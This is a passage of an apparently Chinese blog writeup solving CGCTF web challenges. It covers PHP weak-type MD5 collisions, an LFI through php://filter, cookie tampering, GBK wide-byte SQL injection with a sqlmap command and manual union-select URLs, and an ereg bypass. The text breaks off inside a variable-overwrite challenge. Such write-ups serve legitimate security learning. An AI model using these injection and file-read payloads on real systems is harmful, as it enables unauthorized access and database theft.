当前位置 博文首页 > 韦全敏的博客:CGCTF平台web题writeup
大概的做了做CGCTF的web题,基本都做出来了,在这整理了一下writeup,其中一些十分简单的题,就大概的写了些,后面一些难题会更详细,需要的可以直接拉倒最后面。共勉。
10pt
tips : 这一定是最简单的
连接
恩,key在源代码中
20pt
连接
直接贴出了代码
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
这个题目利用了php弱类型。比如在==
判等时,0exxxxx
=0xsfdsf
=0
.而在源代码中直接给出了QNKCDZO
的md5就是0e
开头,使用a传输一个md5也是0e
开头的即可。
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
15pt
连接
需要输入zhimakaimen
才能打印flag。但是输入框只允许输入长度比zhimakaimen
少一位。所以f12
修改前段代码或者抓包传入正确的值即可。
25pt
链接
tips : 真的,你要相信我!这题不是WEB
这题真的不是web,而是隐写。使用神器Stegsolve.jar
打开,点击Analyse->file format, 在最后面就有flag。
25pt
链接
忘记了是哪个比赛的原题来的。
重复的查看源代码好几次,一直点击SO.html
,大概四五次之后源代码中会出现一个404.html
,flag就在源代码中的注释中。
出现这个
25pt
tips : javascript aaencode
链接
题目现在好像挂了,以前做的时候也没有截图,既然提示javascript aaencode
,那就解码呗。
20pt
tips : 这题可以靠技术也可以靠手速! 老夫单身二十年,自然靠的是手速!
链接
直接使用burp site
抓返回来的包即可。太基础就不写了。
25pt
tips: 没错 这就是传说中的LFI
链接
payload : ?file=php://filter/convert.base64-encode/resource=index.php
需要学习到的知识就是php伪协议
,使用php://filter
可以任意读取文件。下面就是读取下来的经过base64编码过后的index的源代码,base64解码之后在源代码中就有flag。
PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
30pt
tips: 是的。。这一题你单身一百年也没用
链接
使用surp site
抓包,发现flag,应该是这样的。
题目已经死掉了
25pt
tips : COOKIE就是甜饼的意思~
TIP: 0==not
链接
发现cookie中有一个Login
的cookie值为0
尝试修改他的值为1,然后返回的界面中就有flag。
30pt
tips : 不能每一题都这么简单嘛 你说是不是?
链接
访问robots.txt
文件,这个界面中存在提示和一段代码
别太开心,flag不在这,这个文件的用途你看完了?
在CTF比赛中,这个文件往往存放着提示信息
TIP:sql.php
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>
简单的分析一下代码发现,get传递参数id=1024,返回no! try again,否则返回查询的数据。但是经过实测除了id的值是1024有输出之外,其他的值均没有输出,所以应该是考察intval($_GET[id]);
的作用获取变量的整数值,所以只要传递一个1024.xxx
的小数即可。
50pt
链接
我们先来了解一下GBK Injection
也就是宽字节注入,原理:
GBK 占两个字节
ASCII占一个字节
常见的宽字节有: GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。
通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,即单引号逃逸,有了单引号就好注入了。
%df吃掉 \ 具体的原因是urlencode(’) = %5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此事%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。
可以直接使用sqlmap跑出flag
sqlmap -u http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1�' -D sae-chinalover -T ctf4 -C flag --dump
或者手工 注入
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27+union+select+1,database()--+
sae-chinalover
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'+union+select+1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
ctf,ctf2,ctf3,ctf4,news
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'+union+select+1,(select group_concat(column_name) from information_schema.columns where table_name=0x63746634)--+
id,flag
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'+union+select+1,(select flag from ctf4)--+
nctf{gbk_3sqli}
30pt
tips : 题目有多种解法,你能想出来几种?
链接
view-source:
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
需要绕过ereg()函数,有两种方法。
payload1
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[]=#biubiubiu
payload2 00截断
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%23biubiubiu
30pt
tips: 依旧是弱类型
链接
首先分析源代码
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
和md5碰撞那道题一样的原理。
payload 不唯一
http://chinalover.sinaapp.com/web17/index.php?a=s878926199a&b=s155964671a
40pt
tips : 听说过变量覆盖么?
链接
这道题也直接给出了源代码,首先第一步要分析代码
<?php
include("secret.php");
?>
<html>
<head>
<title>The Ducks</title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS" crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="jumbotron">
<center>
<h1>The Ducks</h1>
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>
<form action="." method="POST">
<div class="row">
<div class="col-md-6 col-md-offset-3">
<div class="row">
<div class="col-md-9">
<input type="password" class="form-control" name="pass" placeholder="Password" />
</div>
<div class="col-md-3">
<input type="submit" class="btn btn-primary" value="Submit" />
</div>
</div>
</div>
</div>
</